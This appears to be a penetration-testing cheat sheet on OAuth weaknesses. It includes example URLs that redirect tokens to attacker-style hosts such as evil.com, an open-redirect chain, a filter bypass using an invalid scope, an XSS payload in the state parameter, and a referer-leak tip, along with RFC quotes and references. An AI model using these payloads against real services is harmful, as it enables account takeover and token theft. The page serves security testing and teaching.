# OAuth

## Summary

* [Stealing OAuth Token via referer](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Grabbing OAuth Token via redirect\_uri](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Executing XSS via redirect\_uri](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [OAuth private key disclosure](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Authorization Code Rule Violation](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Cross-Site Request Forgery](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [References](broken://pages/CIDwyKzVxDd8tuCoXgY7)

## Stealing OAuth Token via referer

From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet.

> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer

## Grabbing OAuth Token via redirect\_uri

Redirect to a controlled domain to get the access token

```powershell
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
```

Redirect to an accepted Open URL in to get the access token

```powershell
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
```

OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect\_uri” can’t be pointed to an Open Redirect.

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect\_uri:

```powershell
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
```

## Executing XSS via redirect\_uri

```powershell
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```

## OAuth private key disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

## Authorization Code Rule Violation

> The client MUST NOT use the authorization code more than once.\
> If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

## Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.

> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.

## References

* [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
* [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY](http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
* [How I hacked Github again. - Egor Homakov](http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
* [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka](http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)
* [Bypassing Google Authentication on Periscope's Administration Panel](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/) By Jack Whitton


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